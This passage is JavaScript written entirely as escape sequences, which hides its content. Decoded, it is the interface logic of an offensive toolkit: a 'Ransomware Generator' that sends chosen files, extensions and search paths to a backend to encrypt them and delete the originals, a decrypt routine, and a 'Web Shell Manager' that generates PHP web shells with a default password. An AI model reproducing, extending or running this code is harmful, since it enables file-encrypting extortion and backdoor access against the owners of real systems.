\11\x9\11\143\x6c\145\x61\156\x75\160\x28\51\73\12\x9\x9\x9\x9\x9\11\162\x65\163\157\x6c\166\145\x28\x66\x61\154\163\x65\x29\x3b\xa\x9\11\11\11\11\x7d\xa\x9\x9\11\x9\x7d\73\12\11\x9\x9\x7d\x29\x3b\12\x9\11\175\x2c\xa\11\11\xa\11\11\141\x73\x79\156\x63\x20\x72\141\156\163\157\x6d\105\x6e\143\162\171\160\x74\106\151\154\x65\163\50\51\40\x7b\12\x9\11\11\x63\x6f\156\x73\x74\40\x66\151\154\145\163\40\x3d\40\x41\x72\x72\x61\171\56\146\162\157\155\50\x74\150\151\163\x2e\x72\141\156\163\157\x6d\123\x65\x6c\x65\x63\164\145\x64\x46\151\154\145\163\51\x3b\xa\x9\x9\11\143\157\x6e\163\164\x20\x65\170\x74\x65\x6e\163\151\x6f\156\163\40\x3d\x20\x64\157\x63\x75\155\145\156\164\x2e\147\145\x74\x45\154\145\x6d\x65\x6e\x74\x42\x79\x49\x64\x28\47\162\x61\x6e\x73\x6f\x6d\55\145\170\164\145\156\x73\151\157\x6e\163\47\x29\56\166\x61\154\165\145\56\163\160\x6c\151\x74\x28\47\54\47\x29\x2e\x6d\141\160\50\145\x20\75\76\x20\x65\56\x74\x72\151\x6d\x28\x29\x2e\164\157\x4c\x6f\167\145\162\x43\x61\x73\145\50\x29\x29\56\x66\x69\154\164\145\162\50\145\x20\x3d\76\40\145\51\73\12\x9\x9\11\143\x6f\156\x73\x74\x20\x73\145\141\162\143\150\x50\141\x74\150\x73\40\75\x20\x64\157\x63\165\155\145\x6e\x74\56\x67\145\x74\x45\154\145\155\x65\x6e\164\102\x79\x49\x64\50\47\162\141\156\x73\157\155\55\163\145\141\162\x63\x68\55\160\141\164\150\163\x27\51\56\x76\x61\x6c\x75\145\56\163\160\154\x69\x74\x28\x27\54\47\51\56\155\141\x70\50\160\40\75\76\x20\160\56\164\x72\x69\x6d\x28\51\51\56\x66\151\x6c\164\145\x72\50\x70\40\x3d\x3e\40\160\x29\x3b\12\11\11\x9\x63\157\x6e\x73\x74\40\x70\141\x73\163\167\x6f\162\x64\x20\x3d\40\144\x6f\143\x75\x6d\145\x6e\164\56\x67\x65\x74\105\x6c\x65\x6d\145\x6e\164\x42\x79\111\144\x28\x27\x72\141\x6e\x73\x6f\x6d\x2d\160\141\163\163\167\157\x72\x64\x27\51\56\x76\141\154\165\x65\73\xa\11\x9\x9\xa\x9\11\x9\151\146\x20\x28\x66\x69\154\x65\x73\56\154\x65\156\147\x74\150\40\75\x3d\x3d\x20\60\40\46\x26\x20\x65\170\164\145\156\x73\151\x6f\x6e\163\56\x6c\145\156\147\164\x68\x20\x3d\x3d\75\40\x30\51\40\173\12\11\x9\x9\11\x72\145\164\x75\x72\156\x20\x74\x68\x69\x73\x2e\164\157\141\x73\x74\50\47\120\154\x65\x61\163\x65\x20\x73\145\x6c\145\x63\164\40\x66\151\154\145\x73\x20\x6f\162\x20\163\x70\145\x63\151\x66\171\x20\145\170\x74\145\x6e\x73\151\x6f\x6e\x73\56\47\x2c\x20\x27\x65\162\162\157\162\x27\x29\x3b\12\11\11\11\175\12\x9\x9\x9\12\11\x9\x9\x63\157\156\163\x74\x20\146\151\x6c\145\103\157\165\x6e\164\40\x3d\40\x66\x69\x6c\x65\x73\x2e\154\145\x6e\x67\164\150\40\76\x20\60\40\77\x20\x66\x69\154\145\163\56\154\x65\x6e\147\164\x68\40\53\x20\x27\40\163\145\x6c\x65\143\x74\145\x64\40\x66\x69\x6c\145\x28\x73\x29\47\x20\x3a\x20\x27\146\151\x6c\x65\163\x20\167\x69\x74\150\x20\x73\x70\x65\x63\151\146\151\x65\144\40\145\170\x74\145\156\x73\x69\x6f\x6e\163\x27\73\12\x9\x9\11\x63\x6f\x6e\163\164\x20\x6d\145\163\x73\141\147\145\x20\x3d\40\x60\124\150\x69\163\40\x77\x69\x6c\x6c\x20\x65\156\143\162\171\x70\164\40\x24\173\146\151\154\x65\103\x6f\x75\156\164\175\x20\x61\x6e\x64\x20\104\105\114\105\124\x45\40\164\x68\145\x20\x6f\162\151\147\x69\156\141\x6c\40\x66\151\x6c\x65\x73\x21\134\x6e\x5c\156\x54\x68\151\163\40\x61\x63\164\151\157\x6e\40\x69\x73\x20\x49\x52\122\x45\126\x45\122\x53\111\102\x4c\x45\40\167\151\x74\150\157\165\x74\40\164\x68\145\40\x70\141\x73\x73\167\157\162\x64\41\x5c\x6e\x5c\x6e\x41\x72\145\x20\171\x6f\165\40\141\142\x73\157\x6c\x75\x74\x65\x6c\171\40\163\x75\162\145\x20\171\157\165\x20\x77\x61\156\164\x20\164\157\40\160\x72\x6f\x63\145\x65\144\x3f\140\x3b\xa\11\x9\x9\12\11\x9\x9\143\157\x6e\163\x74\x20\143\x6f\x6e\146\151\x72\x6d\x65\144\40\x3d\x20\x61\x77\141\151\x74\x20\x74\150\x69\163\x2e\x73\150\157\167\111\x72\x72\145\x76\145\x72\x73\151\x62\154\x65\115\x6f\144\141\x6c\50\x6d\x65\163\x73\141\147\x65\51\73\xa\11\x9\11\151\146\x20\50\x21\x63\157\x6e\146\x69\x72\155\145\x64\51\40\173\xa\x9\11\x9\x9\162\145\x74\165\x72\x6e\73\12\11\x9\x9\175\xa\11\11\11\12\x9\x9\x9\143\157\156\163\164\40\162\x65\163\165\x6c\x74\x73\x45\154\40\75\x20\x64\157\143\165\x6d\145\x6e\164\56\x67\145\x74\105\x6c\145\155\x65\156\164\102\x79\x49\144\50\47\x72\141\156\163\157\x6d\x2d\145\156\x63\162\x79\160\x74\x2d\x72\145\x73\165\154\x74\x73\x27\x29\73\xa\x9\x9\11\x69\146\40\x28\x72\145\x73\x75\x6c\x74\x73\105\154\51\x20\x72\x65\x73\165\x6c\164\163\x45\x6c\56\151\156\156\x65\x72\110\124\x4d\114\40\75\x20\x27\x3c\160\40\x73\x74\x79\x6c\x65\75\x22\143\157\154\157\162\72\166\x61\162\50\x2d\55\141\x63\x63\x65\x6e\164\x2d\147\x6f\x6c\144\51\x3b\42\x3e\x45\156\143\x72\x79\x70\x74\x69\156\x67\40\146\x69\x6c\145\163\x2e\56\x2e\x20\x54\x68\x69\x73\x20\155\x61\x79\x20\x74\x61\153\x65\x20\x61\x20\x77\x68\151\x6c\x65\56\74\x2f\160\76\47\73\xa\x9\11\x9\xa\11\11\11\x63\x6f\156\163\x74\40\162\145\163\x20\x3d\x20\141\x77\x61\x69\164\x20\164\x68\151\x73\56\x61\x70\x69\x28\x27\162\x61\x6e\x73\x6f\x6d\137\145\x6e\143\162\171\160\x74\137\x66\x69\154\145\x73\47\x2c\x20\173\xa\11\11\11\x9\146\151\x6c\145\x73\x3a\x20\112\x53\x4f\x4e\56\x73\x74\162\151\x6e\147\x69\146\x79\50\146\151\154\145\x73\x29\x2c\xa\11\11\11\x9\145\170\164\x65\156\x73\151\157\156\x73\72\x20\112\x53\117\x4e\56\163\164\x72\151\x6e\x67\151\x66\171\50\x65\x78\164\145\156\163\x69\x6f\156\163\x29\x2c\12\11\x9\11\11\x73\x65\x61\162\143\x68\x5f\x70\141\164\x68\163\72\x20\163\x65\x61\x72\143\150\x50\x61\x74\150\x73\x2e\x6c\145\156\x67\164\x68\x20\x3e\40\x30\x20\77\x20\163\x65\141\162\143\150\x50\x61\164\x68\163\56\152\x6f\151\x6e\50\x27\x2c\x27\51\40\x3a\x20\x75\156\x64\145\x66\151\156\x65\x64\54\xa\11\x9\x9\11\160\x61\x73\x73\167\157\x72\x64\72\x20\160\141\163\x73\167\x6f\162\x64\x20\174\x7c\40\x75\156\x64\x65\x66\x69\x6e\145\x64\xa\11\x9\11\175\x29\x3b\xa\11\x9\11\xa\11\11\x9\151\x66\x20\x28\162\x65\163\40\x26\x26\40\162\145\163\x2e\163\x74\x61\164\x75\163\x20\x3d\75\75\x20\47\163\165\143\x63\145\x73\x73\47\51\40\173\xa\x9\11\11\x9\x6c\x65\x74\40\150\164\155\x6c\x20\75\x20\140\x3c\144\x69\x76\40\163\x74\x79\x6c\x65\75\x22\x70\x61\144\144\x69\x6e\147\x3a\61\65\x70\x78\x3b\40\x62\x61\x63\153\147\x72\x6f\165\x6e\x64\x3a\166\141\x72\x28\x2d\55\142\x67\x2d\x6c\x69\x67\x68\164\51\73\40\x62\157\162\x64\x65\162\x2d\162\141\144\x69\x75\163\x3a\66\160\x78\x3b\40\155\141\x72\x67\x69\156\55\142\x6f\x74\x74\x6f\155\x3a\61\x72\x65\x6d\73\x22\76\xa\11\x9\11\11\11\x3c\150\64\x20\163\x74\171\154\145\x3d\42\x6d\141\x72\147\x69\156\x2d\x74\x6f\160\72\x30\73\x20\143\x6f\154\157\162\x3a\x76\141\162\x28\x2d\55\141\143\x63\x65\156\164\55\x67\x72\x65\x65\156\x29\73\x22\76\342\234\205\x20\x45\x6e\x63\162\x79\x70\164\x69\x6f\x6e\40\x43\157\155\160\154\145\164\x65\74\57\150\64\76\xa\x9\11\11\x9\x9\74\x70\76\74\x73\164\x72\157\156\x67\76\x45\x6e\x63\x72\x79\160\x74\x65\x64\72\x3c\x2f\163\164\x72\157\156\x67\x3e\40\x24\173\162\x65\163\56\145\x6e\x63\162\171\160\164\145\x64\x5f\143\157\x75\x6e\x74\x7d\x20\146\151\x6c\145\50\x73\x29\x3c\x2f\x70\76\12\x9\x9\11\x9\11\x3c\x70\x3e\x3c\163\x74\x72\157\156\x67\76\x46\141\151\x6c\145\144\x3a\x3c\57\163\x74\x72\157\156\x67\76\40\x24\x7b\x72\145\163\x2e\x66\141\151\154\x65\x64\x5f\x63\x6f\165\156\164\175\x20\x66\151\x6c\x65\50\x73\51\74\57\160\x3e\12\x9\11\11\x9\11\74\x70\x3e\x3c\163\x74\x72\157\156\147\x3e\x54\x6f\x74\141\154\x3a\74\57\163\164\162\157\x6e\147\76\40\x24\x7b\x72\x65\163\x2e\x74\157\x74\141\x6c\x5f\146\151\154\x65\x73\x7d\x20\146\x69\x6c\145\50\163\x29\74\57\160\x3e\12\x9\11\x9\x9\11\x3c\160\x20\x73\164\x79\x6c\145\75\x22\143\x6f\x6c\157\162\72\x76\141\162\50\55\55\141\143\143\x65\156\x74\x2d\x72\145\x64\51\73\x20\146\157\156\x74\55\x77\145\151\x67\x68\x74\72\x62\x6f\x6c\144\x3b\x20\155\x61\x72\147\151\x6e\55\x74\157\x70\72\61\x30\x70\x78\73\42\x3e\xf0\x9f\224\221\40\x50\101\x53\x53\127\117\x52\x44\72\x20\x3c\x63\x6f\144\x65\x20\163\164\171\x6c\145\x3d\42\142\141\x63\x6b\x67\x72\157\x75\x6e\144\x3a\166\x61\x72\x28\x2d\x2d\x62\147\55\144\x61\x72\153\x29\x3b\40\160\x61\144\144\151\156\x67\x3a\x34\160\170\40\x38\x70\170\73\x20\142\x6f\x72\x64\x65\x72\55\162\141\144\151\165\163\72\x34\x70\x78\73\x22\76\x24\x7b\x72\145\163\56\160\141\x73\x73\167\157\x72\x64\x7d\x3c\57\x63\x6f\x64\x65\x3e\74\x2f\160\x3e\12\x9\11\x9\x9\x9\74\160\40\163\164\x79\x6c\x65\x3d\x22\143\x6f\154\157\x72\72\166\141\162\50\55\x2d\x61\x63\x63\x65\156\x74\x2d\x72\x65\x64\51\x3b\x20\146\x6f\156\164\x2d\163\x69\x7a\145\x3a\x30\56\x39\x72\x65\155\73\x22\x3e\xe2\x9a\xa0\xef\270\x8f\x20\x53\x41\126\x45\x20\124\110\x49\123\x20\120\x41\123\x53\x57\117\x52\104\41\40\x57\x69\164\x68\x6f\165\164\x20\x69\x74\x2c\x20\x66\x69\154\x65\x73\40\x63\141\x6e\156\157\x74\40\142\145\40\x64\145\x63\x72\x79\x70\164\145\x64\x21\x3c\x2f\160\76\xa\11\11\x9\x9\x3c\57\144\x69\x76\x3e\x60\73\12\11\x9\11\x9\xa\x9\x9\x9\x9\x69\146\40\50\x72\x65\x73\56\x72\x65\163\x75\x6c\164\x73\40\46\46\x20\x72\145\163\x2e\162\x65\x73\165\154\164\163\56\154\145\x6e\x67\164\x68\x20\76\40\x30\x29\40\x7b\12\11\x9\x9\11\11\x68\x74\155\x6c\40\53\75\40\47\x3c\144\145\164\x61\151\154\163\x3e\x3c\x73\165\x6d\155\141\162\171\x20\x73\x74\x79\x6c\x65\x3d\42\143\165\162\163\157\162\72\160\157\x69\156\x74\x65\162\x3b\x20\143\157\154\x6f\162\x3a\166\141\x72\50\x2d\55\141\143\143\145\x6e\164\55\x62\154\x75\145\x29\73\x20\x6d\x61\x72\147\151\x6e\x2d\142\x6f\164\164\157\x6d\x3a\61\x30\x70\x78\x3b\x22\x3e\126\x69\145\167\40\x44\145\x74\141\151\154\x73\74\57\x73\x75\x6d\155\141\162\x79\x3e\74\144\x69\166\40\x73\x74\x79\x6c\x65\x3d\42\x6d\141\x78\x2d\x68\145\x69\x67\150\x74\x3a\63\x30\x30\160\x78\x3b\40\x6f\x76\145\162\146\x6c\x6f\167\x2d\171\72\x61\165\x74\157\x3b\x22\76\47\73\xa\11\11\11\11\11\x72\145\163\56\x72\145\x73\x75\x6c\164\163\56\x66\157\162\105\x61\143\150\x28\x72\40\75\76\40\173\xa\x9\11\x9\x9\x9\11\x63\157\156\x73\x74\40\x63\157\x6c\x6f\x72\40\75\40\162\x2e\163\x74\141\x74\x75\x73\40\75\75\75\40\x27\x65\x6e\143\162\171\160\x74\x65\x64\x27\x20\77\40\x27\166\141\162\50\x2d\55\x61\x63\x63\145\156\x74\x2d\147\x72\145\145\156\51\x27\40\72\40\162\56\163\164\x61\164\x75\x73\x20\75\75\x3d\x20\x27\146\x61\151\154\145\144\x27\40\77\x20\x27\x76\141\162\50\x2d\x2d\x61\143\x63\x65\156\164\55\162\145\x64\x29\47\x20\x3a\40\47\x76\x61\x72\x28\x2d\55\x61\x63\143\145\156\x74\55\147\157\x6c\x64\51\47\73\xa\11\11\x9\x9\11\x9\x68\x74\155\x6c\x20\x2b\x3d\x20\140\74\x64\x69\166\40\x73\x74\x79\154\x65\75\x22\160\x61\144\144\151\x6e\147\x3a\70\x70\x78\x3b\40\155\141\x72\147\x69\x6e\x2d\x62\x6f\x74\164\157\x6d\x3a\x35\160\x78\73\40\x62\x61\143\153\147\x72\x6f\x75\156\x64\x3a\x76\x61\162\50\x2d\x2d\x62\147\x2d\x6d\x65\x64\x29\x3b\40\x62\157\x72\144\145\x72\x2d\x72\x61\x64\151\x75\163\72\x34\x70\170\x3b\x20\142\157\162\x64\145\x72\55\154\x65\x66\164\72\x33\160\170\40\x73\x6f\x6c\x69\144\40\x24\x7b\143\157\154\x6f\x72\175\73\42\76\xa\x9\x9\11\11\x9\x9\x9\x3c\x73\164\x72\157\x6e\x67\x3e\44\x7b\x72\56\163\164\x61\164\x75\x73\56\x74\157\125\x70\160\145\x72\103\x61\163\x65\50\51\175\x3a\74\57\x73\x74\x72\157\156\x67\x3e\x20\44\x7b\x72\x2e\146\x69\154\145\56\163\160\154\151\x74\50\x27\57\47\51\x2e\x70\157\x70\50\51\175\74\142\162\76\12\x9\11\11\11\x9\x9\x9\x24\x7b\162\56\x72\145\141\163\157\156\40\77\x20\x60\74\x73\x6d\141\x6c\x6c\40\x73\x74\x79\154\x65\x3d\x22\143\157\154\x6f\162\x3a\166\141\162\x28\x2d\x2d\164\x65\x78\x74\x2d\155\x65\144\x29\x3b\x22\x3e\44\173\x72\x2e\x72\x65\141\x73\157\x6e\175\x3c\x2f\x73\x6d\141\x6c\x6c\76\x60\40\72\x20\x27\47\x7d\12\11\11\x9\11\x9\x9\74\x2f\x64\151\x76\76\x60\x3b\12\11\x9\x9\x9\11\x7d\x29\73\12\11\x9\x9\11\x9\150\x74\x6d\154\40\x2b\x3d\40\47\74\x2f\x64\151\166\76\74\57\x64\x65\x74\x61\x69\x6c\x73\x3e\47\73\xa\x9\x9\11\11\x7d\12\11\x9\x9\11\xa\x9\x9\11\x9\x69\146\40\50\x72\x65\163\x75\x6c\x74\163\105\154\51\x20\162\x65\x73\x75\x6c\x74\x73\105\154\56\x69\156\156\x65\162\110\x54\115\x4c\40\75\40\150\x74\155\x6c\x3b\xa\11\x9\11\x9\164\150\x69\163\x2e\141\x64\x64\x4e\x6f\x74\151\x66\151\x63\x61\x74\151\157\156\x28\47\122\141\x6e\x73\x6f\155\167\141\x72\145\x20\x47\145\156\x65\162\141\x74\157\x72\47\54\x20\140\x45\x6e\x63\162\171\160\164\145\x64\40\x24\173\x72\x65\163\x2e\145\156\x63\x72\171\x70\x74\x65\x64\x5f\x63\x6f\165\x6e\164\x7d\40\x66\x69\154\145\50\163\x29\x60\x2c\40\162\145\x73\x2e\145\x6e\x63\162\x79\x70\x74\x65\x64\137\x63\157\x75\x6e\x74\40\x3e\40\x30\40\x3f\40\47\x73\x75\x63\x63\x65\163\163\x27\x20\x3a\40\x27\x77\x61\162\x6e\151\x6e\x67\x27\51\x3b\xa\x9\11\11\11\164\150\x69\163\56\162\x61\156\163\x6f\155\123\145\x6c\145\143\164\x65\x64\x46\151\x6c\x65\163\56\143\154\145\x61\x72\50\x29\73\12\x9\x9\11\11\x74\150\x69\x73\56\x72\141\x6e\163\157\155\x55\160\x64\x61\164\x65\x43\x6f\x75\156\x74\50\x29\x3b\12\x9\x9\11\x7d\x20\x65\x6c\x73\x65\40\x7b\12\x9\x9\x9\11\x69\146\40\x28\x72\145\x73\x75\154\164\x73\x45\x6c\51\40\162\x65\163\165\154\164\x73\105\154\56\x69\x6e\156\145\162\x48\x54\x4d\114\40\x3d\x20\x60\x3c\160\40\163\x74\171\154\x65\75\42\x63\x6f\154\157\x72\x3a\x76\141\162\50\x2d\x2d\141\x63\x63\x65\x6e\x74\x2d\x72\x65\144\x29\73\x22\76\44\x7b\x72\145\163\77\x2e\155\145\x73\x73\141\x67\145\x20\174\174\x20\47\x45\x6e\143\162\171\x70\164\151\157\156\x20\146\x61\151\154\x65\x64\x2e\47\175\74\x2f\x70\76\x60\73\12\11\x9\11\x9\x74\150\151\163\56\x74\157\x61\163\x74\50\x72\145\163\77\56\x6d\145\x73\x73\x61\147\x65\x20\x7c\x7c\40\x27\x45\156\143\162\171\x70\x74\151\x6f\x6e\x20\146\141\151\x6c\145\144\x2e\x27\x2c\x20\47\145\x72\162\x6f\162\47\51\x3b\12\11\x9\x9\175\xa\x9\11\x7d\54\xa\11\11\141\x73\x79\x6e\x63\40\162\x61\x6e\163\x6f\x6d\104\x65\x63\x72\x79\x70\x74\x46\151\154\x65\50\x29\x20\173\12\11\11\x9\143\157\156\163\164\40\x65\156\x63\x72\171\160\x74\145\x64\106\x69\154\x65\40\75\40\144\x6f\x63\x75\x6d\x65\x6e\x74\56\x67\145\164\105\x6c\x65\x6d\145\x6e\164\102\x79\111\x64\x28\47\x72\x61\156\163\157\155\55\x64\145\143\162\171\x70\x74\x2d\x66\151\x6c\145\x27\51\x2e\x76\x61\154\x75\x65\73\12\11\11\11\x63\x6f\156\163\164\40\160\x61\163\x73\167\x6f\162\x64\40\75\40\x64\157\x63\x75\155\145\x6e\164\56\x67\x65\164\105\x6c\x65\x6d\145\156\x74\x42\x79\111\x64\x28\47\162\x61\156\x73\157\155\55\x64\145\143\x72\x79\160\164\x2d\160\x61\x73\x73\x77\157\162\144\x27\x29\56\166\141\x6c\x75\145\x3b\12\x9\x9\x9\12\11\11\x9\151\146\x20\x28\x21\145\156\x63\162\x79\x70\x74\145\144\x46\x69\154\x65\x20\x7c\x7c\x20\41\x70\141\163\x73\167\157\162\144\x29\40\173\xa\11\x9\x9\x9\162\145\164\x75\162\x6e\x20\x74\x68\x69\163\56\164\x6f\x61\163\x74\50\47\105\156\143\162\171\160\164\145\x64\x20\x66\151\x6c\145\x20\x70\141\164\150\40\x61\156\144\40\x70\141\x73\163\x77\157\x72\x64\x20\141\x72\x65\x20\162\145\161\165\151\162\x65\x64\x2e\x27\54\40\x27\145\x72\162\157\162\x27\51\x3b\12\11\11\11\x7d\xa\x9\x9\x9\12\11\x9\x9\x63\157\156\x73\x74\40\143\157\156\x66\x69\x72\155\145\x64\40\x3d\x20\141\167\x61\151\x74\x20\164\150\x69\163\x2e\x73\x68\x6f\167\x43\157\156\146\x69\x72\155\x4d\x6f\x64\x61\154\50\x60\x44\x65\x63\x72\171\160\164\x20\74\163\x74\162\x6f\x6e\x67\x3e\x24\173\145\156\x63\162\171\x70\x74\145\x64\x46\x69\x6c\145\x2e\x73\x70\x6c\x69\164\x28\47\57\47\x29\56\160\157\x70\50\51\175\74\x2f\x73\164\162\x6f\156\x67\76\x3f\140\54\40\x7b\40\x74\x79\160\x65\72\x20\47\x71\165\145\163\164\x69\x6f\156\x27\40\175\51\73\x20\x69\x66\40\x28\41\x63\x6f\156\x66\x69\162\155\145\x64\51\x20\x7b\xa\x9\x9\11\x9\x72\145\164\165\x72\x6e\x3b\12\x9\11\11\175\12\x9\x9\x9\12\x9\11\11\x63\157\156\x73\x74\40\162\145\163\165\154\164\x73\x45\154\x20\x3d\40\x64\157\x63\165\155\x65\156\164\x2e\x67\x65\x74\105\154\x65\x6d\x65\x6e\x74\102\x79\111\x64\50\47\162\141\x6e\163\x6f\155\55\x64\x65\143\162\x79\x70\x74\x2d\162\145\x73\165\154\164\163\x27\51\73\12\x9\x9\11\151\146\x20\50\162\145\163\165\x6c\164\x73\x45\154\x29\x20\x72\145\x73\x75\154\x74\x73\x45\154\56\151\x6e\156\145\x72\110\x54\115\x4c\40\75\40\x27\74\x70\40\163\x74\x79\x6c\x65\x3d\x22\x63\157\x6c\157\x72\x3a\x76\x61\x72\x28\55\x2d\x61\143\x63\x65\x6e\x74\x2d\x67\157\154\144\x29\73\42\x3e\x44\145\143\x72\171\x70\x74\x69\156\x67\40\x66\x69\x6c\x65\x2e\x2e\56\x3c\57\160\76\x27\73\12\11\11\x9\12\11\x9\x9\x63\x6f\156\163\x74\40\x72\145\163\40\x3d\40\141\x77\x61\x69\164\40\164\x68\151\163\56\x61\160\151\x28\x27\162\141\x6e\163\x6f\x6d\137\144\145\x63\x72\171\160\x74\x5f\x66\151\154\145\47\x2c\40\x7b\12\x9\x9\11\x9\x65\x6e\x63\x72\x79\160\164\145\144\x5f\146\151\x6c\145\x3a\40\x65\156\x63\x72\x79\160\x74\145\x64\106\151\154\x65\54\12\11\x9\x9\11\x70\x61\x73\x73\167\x6f\162\x64\x3a\x20\x70\141\x73\x73\x77\x6f\162\144\12\11\x9\11\175\51\x3b\xa\11\x9\x9\xa\11\11\x9\x69\x66\40\x28\x72\145\163\40\46\46\40\x72\145\x73\x2e\163\164\x61\164\165\163\40\x3d\75\75\40\47\163\x75\x63\x63\145\x73\163\47\51\40\x7b\xa\11\11\x9\11\x69\x66\x20\50\162\145\163\165\x6c\x74\x73\105\154\51\40\173\12\x9\11\x9\11\x9\x72\145\163\165\x6c\164\163\x45\154\56\151\156\x6e\x65\x72\110\124\115\x4c\40\x3d\40\x60\x3c\144\x69\166\x20\x73\164\171\x6c\145\x3d\x22\160\x61\x64\x64\151\156\x67\x3a\61\x35\160\x78\x3b\40\x62\x61\x63\x6b\147\162\157\x75\156\144\x3a\x76\x61\x72\x28\x2d\x2d\x62\x67\x2d\x6c\x69\x67\150\164\51\x3b\x20\x62\x6f\x72\144\145\x72\55\162\x61\x64\x69\x75\163\x3a\x36\x70\170\73\42\x3e\xa\x9\x9\11\x9\x9\x9\74\x68\x34\40\x73\164\171\154\x65\75\x22\x6d\141\x72\x67\x69\156\x2d\x74\x6f\x70\x3a\60\73\x20\x63\157\154\x6f\162\x3a\166\x61\x72\50\55\x2d\x61\143\x63\x65\156\164\x2d\147\x72\145\x65\x6e\x29\73\42\76\xe2\x9c\x85\40\104\145\x63\162\171\x70\164\151\x6f\x6e\x20\x43\x6f\x6d\x70\154\x65\x74\145\74\57\150\x34\76\xa\x9\11\11\x9\x9\x9\x3c\160\76\74\163\164\162\x6f\x6e\x67\76\117\162\151\147\x69\x6e\141\154\40\x66\151\x6c\145\40\162\x65\x73\x74\x6f\x72\145\144\x3a\74\x2f\163\x74\x72\x6f\x6e\147\76\40\x24\x7b\x72\x65\163\x2e\x6f\x72\x69\x67\151\x6e\141\x6c\137\146\x69\x6c\145\x7d\x3c\57\160\x3e\12\x9\x9\x9\11\x9\x3c\x2f\x64\151\x76\x3e\140\73\xa\x9\11\11\11\x7d\12\x9\x9\11\11\164\150\151\163\x2e\141\144\x64\116\157\x74\x69\146\x69\x63\x61\x74\x69\x6f\156\x28\x27\122\x61\156\x73\157\x6d\x77\x61\x72\145\x20\x47\x65\156\145\x72\x61\x74\157\x72\47\x2c\x20\47\x46\x69\x6c\145\40\x64\145\143\162\x79\160\164\x65\144\40\163\x75\x63\143\145\163\163\146\165\154\154\x79\47\x2c\40\x27\x73\x75\143\x63\x65\163\x73\x27\51\73\xa\x9\11\11\175\x20\145\154\163\145\40\173\xa\x9\x9\11\11\151\146\x20\x28\162\145\163\165\x6c\164\163\105\x6c\x29\x20\173\12\11\11\11\x9\x9\x72\x65\163\165\154\164\x73\x45\154\56\151\156\x6e\x65\x72\110\124\x4d\114\x20\x3d\x20\x60\x3c\x70\40\163\x74\x79\154\145\x3d\x22\143\x6f\154\157\162\x3a\166\141\x72\50\55\55\141\143\143\x65\x6e\x74\55\162\145\144\51\x3b\42\x3e\x24\173\x72\145\163\77\x2e\155\145\163\163\x61\147\x65\40\x7c\x7c\40\x27\x44\145\143\x72\x79\160\164\x69\157\156\x20\146\x61\151\x6c\145\x64\x2e\47\175\74\x2f\x70\76\140\73\12\x9\x9\x9\x9\x7d\12\x9\x9\11\11\164\150\x69\x73\x2e\x74\x6f\x61\x73\164\50\162\x65\x73\x3f\56\155\145\x73\163\141\147\x65\x20\174\174\40\x27\x44\x65\143\162\171\160\164\x69\157\156\x20\x66\141\x69\x6c\145\x64\56\47\54\x20\x27\x65\162\x72\157\162\x27\51\x3b\xa\11\11\11\x7d\12\x9\x9\x7d\54\xa\11\11\xa\x9\x9\x2f\57\40\127\145\142\40\x53\150\x65\x6c\154\x20\115\x61\x6e\x61\147\145\x72\xa\x9\x9\x61\163\x79\156\143\x20\147\x65\156\145\x72\x61\164\x65\127\x65\142\x53\150\x65\x6c\x6c\50\51\x20\x7b\xa\x9\x9\11\143\157\156\163\164\x20\160\141\x73\163\x77\157\x72\144\x20\75\x20\x64\x6f\x63\x75\x6d\145\156\x74\56\147\145\x74\105\x6c\145\155\x65\x6e\164\102\171\x49\x64\x28\x27\163\150\145\154\154\x2d\160\x61\x73\x73\x77\x6f\x72\144\x27\x29\77\56\166\x61\x6c\165\145\40\174\x7c\40\x27\x6a\141\x6e\165\x73\x27\x3b\xa\11\x9\11\xa\x9\11\x9\x63\x6f\x6e\x73\x74\40\x72\x65\163\x20\x3d\40\141\167\x61\x69\164\x20\x74\x68\x69\x73\56\x61\160\151\x28\x27\147\145\x6e\145\162\141\x74\145\137\x77\x65\142\x73\150\x65\154\154\x27\x2c\40\x7b\12\x9\11\x9\11\x74\x79\x70\145\x3a\40\x27\160\x68\x70\x27\x2c\12\x9\11\x9\11\160\x61\163\163\167\157\x72\144\72\40\x70\x61\163\x73\167\x6f\162\x64\xa\11\x9\x9\x7d\x29\73\12\x9\11\x9\xa\11\11\x9\151\146\x20\50\x72\x65\163\x20\x26\x26\40\162\x65\x73\x2e\x73\x74\x61\x74\165\x73\40\75\x3d\75\x20\47\163\x75\143\x63\145\163\163\47\51\x20\173\xa\11\x9\11\x9\143\x6f\x6e\x73\x74\x20\x63\157\x64\x65\x45\x6c\x20\x3d\x20\144\x6f\143\x75\x6d\145\156\x74\56\x67\x65\164\x45\154\145\x6d\145\156\164\x42\171\x49\x64\50\x27\147\145\x6e\145\x72\141\164\x65\144\x2d\x73\150\x65\x6c\x6c\55\x63\x6f\144\145\47\x29\x3b\xa\x9\11\11\x9\x69\x66\40\50\143\157\144\x65\x45\x6c\51\40\173\12\11\11\11\11\11\x63\x6f\144\145\105\x6c\56\x76\x61\154\165\145\40\75\40\162\x65\163\56\x73\x68\x65\x6c\x6c\x5f\x63\157\144\145\73\12\x9\x9\11\11\x9\x74\x68\151\163\56\164\x6f\x61\x73\x74\50\x27\x4c\x69\147\x68\x74\x77\145\151\x67\150\x74\40\x73\x68\x65\x6c\154\40\147\x65\156\145\162\141\164\145\144\40\163\x75\143\x63\145\x73\163\146\165\x6c\x6c\171\x21\x27\54\40\x27\163\x75\x63\x63\x65\163\x73\x27\x29\x3b\12\11\x9\x9\x9\11\x74\150\x69\163\56\141\x64\144\x4e\x6f\164\x69\146\x69\143\141\164\151\x6f\x6e\50\x27\x57\x65\x62\40\123\150\145\x6c\154\40\x4d\141\156\141\x67\145\162\47\x2c\x20\x60\x47\x65\x6e\x65\x72\x61\x74\145\x64\x20\163\x68\x65\154\x6c\x20\x77\x69\x74\150\x20\x69\x64\145\x6e\164\x69\146\x69\145\x72\x3a\x20\44\x7b\162\145\163\x2e\x69\144\145\156\x74\x69\x66\x69\x65\162\x3f\56\x73\x75\142\163\x74\162\x69\156\x67\50\60\x2c\x20\63\60\51\175\x2e\56\56\x60\54\x20\x27\163\165\x63\x63\x65\x73\x73\47\51\x3b\12\x9\x9\11\11\x7d\12\11\x9\x9\175\40\x65\x6c\x73\x65\x20\173\xa\11\11\x9\x9\164\x68\x69\x73\x2e\164\157\x61\x73\x74\50\x27\106\141\x69\154\x65\144\x20\164\157\x20\x67\145\156\x65\x72\141\x74\145\x20\x73\150\x65\154\154\x2e\x27\x2c\x20\47\145\162\162\157\x72\x27\x29\x3b\12\x9\11\x9\175\12\11\x9\x7d\x2c\xa\x9\x9\12\11\x9\143\157\160\171\123\x68\x65\154\x6c\x43\x6f\x64\x65\x28\51\40\x7b\12\x9\x9\11\x63\x6f\x6e